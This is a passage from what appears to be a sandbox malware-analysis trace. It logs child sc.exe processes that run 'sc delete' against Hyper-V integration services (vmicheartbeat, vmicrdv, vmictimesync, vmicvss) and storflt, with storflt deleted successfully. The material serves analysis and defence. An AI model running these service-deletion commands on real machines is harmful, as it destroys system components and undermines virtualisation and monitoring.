_String2="qtriggerinfo") returned -13 [0072.439] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.439] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.439] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.440] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.440] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.440] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.440] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3b4370 [0072.443] OpenServiceW (hSCManager=0x3b4370, lpServiceName="vmicshutdown", dwDesiredAccess=0x10000) returned 0x0 [0072.444] GetLastError () returned 0x424 [0072.444] _itow (in: _Dest=0x424, _Radix=2423672 | out: _Dest=0x424) returned="1060" [0072.444] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff22b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.446] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fb30, nSize=0x2, Arguments=0x24fb60 | out: lpBuffer="跀;") returned 0x62 [0072.446] GetFileType (hFile=0x120) returned 0x3 [0072.446] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3b8ea0 [0072.446] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3b8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n;", lpUsedDefaultChar=0x0) returned 98 [0072.446] WriteFile (in: hFile=0x120, lpBuffer=0x3b8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24fad8, lpOverlapped=0x0 | out: lpBuffer=0x3b8ea0*, lpNumberOfBytesWritten=0x24fad8*=0x62, lpOverlapped=0x0) returned 1 [0072.446] LocalFree (hMem=0x3b8ea0) returned 0x0 [0072.446] LocalFree (hMem=0x3b8dc0) returned 0x0 [0072.446] LocalFree (hMem=0x0) returned 0x0 [0072.446] CloseServiceHandle (hSCObject=0x3b4370) returned 1 [0072.481] exit (_Code=1060) Thread: id = 10 os_tid = 0x83c Process: id = "7" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4601a000" os_pid = "0x84c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete vmicheartbeat" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 11 os_tid = 0x85c [0072.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f910 | out: lpSystemTimeAsFileTime=0x10f910*(dwLowDateTime=0x35a63410, dwHighDateTime=0x1d62786)) [0072.714] GetCurrentProcessId () returned 0x84c [0072.714] GetCurrentThreadId () returned 0x85c [0072.714] GetTickCount () returned 0x1148a46 [0072.714] QueryPerformanceCounter (in: lpPerformanceCount=0x10f918 | out: lpPerformanceCount=0x10f918*=19259048663) returned 1 [0072.718] GetModuleHandleW (lpModuleName=0x0) returned 0xff990000 [0072.718] __set_app_type (_Type=0x1) [0072.718] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff997228) returned 0x0 [0072.718] __wgetmainargs (in: _Argc=0xff99b604, _Argv=0xff99b610, _Env=0xff99b608, _DoWildCard=0, _StartInfo=0xff99b050 | out: _Argc=0xff99b604, _Argv=0xff99b610, _Env=0xff99b608) returned 0 [0072.719] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.722] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.722] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.722] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.722] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.723] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.723] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.723] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.723] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.723] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.723] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.723] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.723] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.723] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.723] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.723] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.723] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.723] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.723] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.723] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.724] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.724] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.724] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.724] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.724] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1d43d0 [0072.729] OpenServiceW (hSCManager=0x1d43d0, lpServiceName="vmicheartbeat", dwDesiredAccess=0x10000) returned 0x0 [0072.730] GetLastError () returned 0x424 [0072.730] _itow (in: _Dest=0x424, _Radix=1111928 | out: _Dest=0x424) returned="1060" [0072.730] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff99b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.732] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10f730, nSize=0x2, Arguments=0x10f760 | out: lpBuffer="趰\x1d") returned 0x62 [0072.733] GetFileType (hFile=0x120) returned 0x3 [0072.733] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1d8e90 [0072.733] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1d8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1d", lpUsedDefaultChar=0x0) returned 98 [0072.733] WriteFile (in: hFile=0x120, lpBuffer=0x1d8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10f6d8, lpOverlapped=0x0 | out: lpBuffer=0x1d8e90*, lpNumberOfBytesWritten=0x10f6d8*=0x62, lpOverlapped=0x0) returned 1 [0072.733] LocalFree (hMem=0x1d8e90) returned 0x0 [0072.733] LocalFree (hMem=0x1d8db0) returned 0x0 [0072.733] LocalFree (hMem=0x0) returned 0x0 [0072.734] CloseServiceHandle (hSCObject=0x1d43d0) returned 1 [0072.824] exit (_Code=1060) Thread: id = 12 os_tid = 0x86c Process: id = "8" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45d1f000" os_pid = "0x87c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete vmicrdv" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 13 os_tid = 0x88c [0072.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fef0 | out: lpSystemTimeAsFileTime=0x28fef0*(dwLowDateTime=0x35d830f0, dwHighDateTime=0x1d62786)) [0073.042] GetCurrentProcessId () returned 0x87c [0073.042] GetCurrentThreadId () returned 0x88c [0073.043] GetTickCount () returned 0x1148b8d [0073.043] QueryPerformanceCounter (in: lpPerformanceCount=0x28fef8 | out: lpPerformanceCount=0x28fef8*=19291626745) returned 1 [0073.043] GetModuleHandleW (lpModuleName=0x0) returned 0xff2c0000 [0073.043] __set_app_type (_Type=0x1) [0073.043] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2c7228) returned 0x0 [0073.043] __wgetmainargs (in: _Argc=0xff2cb604, _Argv=0xff2cb610, _Env=0xff2cb608, _DoWildCard=0, _StartInfo=0xff2cb050 | out: _Argc=0xff2cb604, _Argv=0xff2cb610, _Env=0xff2cb608) returned 0 [0073.044] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.046] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.046] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.047] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.047] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.047] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.047] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.047] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.047] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.047] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.047] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.047] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.047] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.047] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.047] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.047] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.047] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.047] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.047] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.047] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.048] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.048] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.048] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.048] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.048] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3f4370 [0073.052] OpenServiceW (hSCManager=0x3f4370, lpServiceName="vmicrdv", dwDesiredAccess=0x10000) returned 0x0 [0073.052] GetLastError () returned 0x424 [0073.053] _itow (in: _Dest=0x424, _Radix=2686296 | out: _Dest=0x424) returned="1060" [0073.053] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff2cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.055] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28fd10, nSize=0x2, Arguments=0x28fd40 | out: lpBuffer="跀?") returned 0x62 [0073.055] GetFileType (hFile=0x120) returned 0x3 [0073.055] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3f8ea0 [0073.055] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3f8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n?", lpUsedDefaultChar=0x0) returned 98 [0073.055] WriteFile (in: hFile=0x120, lpBuffer=0x3f8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28fcb8, lpOverlapped=0x0 | out: lpBuffer=0x3f8ea0*, lpNumberOfBytesWritten=0x28fcb8*=0x62, lpOverlapped=0x0) returned 1 [0073.056] LocalFree (hMem=0x3f8ea0) returned 0x0 [0073.056] LocalFree (hMem=0x3f8dc0) returned 0x0 [0073.056] LocalFree (hMem=0x0) returned 0x0 [0073.056] CloseServiceHandle (hSCObject=0x3f4370) returned 1 [0073.105] exit (_Code=1060) Thread: id = 14 os_tid = 0x89c Process: id = "9" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x47024000" os_pid = "0x8ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete storflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0x8bc [0073.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fe10 | out: lpSystemTimeAsFileTime=0x20fe10*(dwLowDateTime=0x35f722d0, dwHighDateTime=0x1d62786)) [0073.282] GetCurrentProcessId () returned 0x8ac [0073.282] GetCurrentThreadId () returned 0x8bc [0073.282] GetTickCount () returned 0x1148c58 [0073.282] QueryPerformanceCounter (in: lpPerformanceCount=0x20fe18 | out: lpPerformanceCount=0x20fe18*=19315561442) returned 1 [0073.282] GetModuleHandleW (lpModuleName=0x0) returned 0xffdd0000 [0073.282] __set_app_type (_Type=0x1) [0073.282] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffdd7228) returned 0x0 [0073.282] __wgetmainargs (in: _Argc=0xffddb604, _Argv=0xffddb610, _Env=0xffddb608, _DoWildCard=0, _StartInfo=0xffddb050 | out: _Argc=0xffddb604, _Argv=0xffddb610, _Env=0xffddb608) returned 0 [0073.283] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.340] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.340] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.341] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.341] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.341] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.341] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.341] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.341] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.341] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.341] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.341] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.341] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.341] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.341] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.341] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.341] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.341] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.341] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.341] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.342] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.342] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.342] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.342] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.342] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x304370 [0073.346] OpenServiceW (hSCManager=0x304370, lpServiceName="storflt", dwDesiredAccess=0x10000) returned 0x3043a0 [0073.347] DeleteService (hService=0x3043a0) returned 1 [0073.348] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x64, dwLanguageId=0x0, lpBuffer=0x20fcd0, nSize=0x2, Arguments=0x20fd38 | out: lpBuffer="붰0") returned 0x1c [0073.350] GetFileType (hFile=0x120) returned 0x3 [0073.350] LocalAlloc (uFlags=0x0, uBytes=0x38) returned 0x306fe0 [0073.350] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] DeleteService SUCCESS\r\n", cchWideChar=28, lpMultiByteStr=0x306fe0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] DeleteService SUCCESS\r\n", lpUsedDefaultChar=0x0) returned 28 [0073.350] WriteFile (in: hFile=0x120, lpBuffer=0x306fe0*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x20fc78, lpOverlapped=0x0 | out: lpBuffer=0x306fe0*, lpNumberOfBytesWritten=0x20fc78*=0x1c, lpOverlapped=0x0) returned 1 [0073.350] LocalFree (hMem=0x306fe0) returned 0x0 [0073.350] LocalFree (hMem=0x30bdb0) returned 0x0 [0073.350] LocalFree (hMem=0x0) returned 0x0 [0073.351] CloseServiceHandle (hSCObject=0x3043a0) returned 1 [0073.351] CloseServiceHandle (hSCObject=0x304370) returned 1 [0073.358] exit (_Code=0) Thread: id = 16 os_tid = 0x8cc Process: id = "10" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46029000" os_pid = "0x8ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete vmictimesync" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 18 os_tid = 0x8fc [0073.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f770 | out: lpSystemTimeAsFileTime=0x10f770*(dwLowDateTime=0x360ef090, dwHighDateTime=0x1d62786)) [0073.439] GetCurrentProcessId () returned 0x8ec [0073.439] GetCurrentThreadId () returned 0x8fc [0073.439] GetTickCount () returned 0x1148cf4 [0073.439] QueryPerformanceCounter (in: lpPerformanceCount=0x10f778 | out: lpPerformanceCount=0x10f778*=19331289036) returned 1 [0073.441] GetModuleHandleW (lpModuleName=0x0) returned 0xff6d0000 [0073.441] __set_app_type (_Type=0x1) [0073.441] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6d7228) returned 0x0 [0073.441] __wgetmainargs (in: _Argc=0xff6db604, _Argv=0xff6db610, _Env=0xff6db608, _DoWildCard=0, _StartInfo=0xff6db050 | out: _Argc=0xff6db604, _Argv=0xff6db610, _Env=0xff6db608) returned 0 [0073.442] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.460] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.460] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.460] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.460] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.460] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.460] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.460] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.460] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.460] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.460] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.460] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.460] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.461] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.461] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.461] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.461] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.461] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.461] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.461] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.461] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.461] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.461] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.461] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.461] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x224370 [0073.466] OpenServiceW (hSCManager=0x224370, lpServiceName="vmictimesync", dwDesiredAccess=0x10000) returned 0x0 [0073.466] GetLastError () returned 0x424 [0073.466] _itow (in: _Dest=0x424, _Radix=1111512 | out: _Dest=0x424) returned="1060" [0073.466] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff6db740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.468] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10f590, nSize=0x2, Arguments=0x10f5c0 | out: lpBuffer="跀\"") returned 0x62 [0073.469] GetFileType (hFile=0x120) returned 0x3 [0073.469] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x228ea0 [0073.469] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x228ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\"", lpUsedDefaultChar=0x0) returned 98 [0073.469] WriteFile (in: hFile=0x120, lpBuffer=0x228ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10f538, lpOverlapped=0x0 | out: lpBuffer=0x228ea0*, lpNumberOfBytesWritten=0x10f538*=0x62, lpOverlapped=0x0) returned 1 [0073.469] LocalFree (hMem=0x228ea0) returned 0x0 [0073.469] LocalFree (hMem=0x228dc0) returned 0x0 [0073.469] LocalFree (hMem=0x0) returned 0x0 [0073.469] CloseServiceHandle (hSCObject=0x224370) returned 1 [0073.472] exit (_Code=1060) Thread: id = 19 os_tid = 0x90c Process: id = "11" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45f2f000" os_pid = "0x924" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete vmicvss" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x934 [0073.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fad0 | out: lpSystemTimeAsFileTime=0x18fad0*(dwLowDateTime=0x361d38d0, dwHighDateTime=0x1d62786)) [0073.536] GetCurrentProcessId () returned 0x924 [0073.536] GetCurrentThreadId () returned 0x934 [0073.536] GetTickCount () returned 0x1148d52 [0073.536] QueryPerformanceCounter (in: lpPerformanceCount=0x18fad8 | out: lpPerformanceCount=0x18fad8*=19340996791) returned 1 [0073.538] GetModuleHandleW (lpModuleName=0x0) returned 0xff0b0000 [0073.538] __set_app_type (_Type=0x1) [0073.538] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0b7228) returned 0x0 [0073.539] __wgetmainargs (in: _Argc=0xff0bb604, _Argv=0xff0bb610, _Env=0xff0bb608, _DoWildCard=0, _StartInfo=0xff0bb050 | out: _Argc=0xff0bb604, _Argv=0xff0bb610, _Env=0xff0bb608) returned 0 [0073.539] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.749] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.750] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.750] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.750] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.750] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.750] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.750] 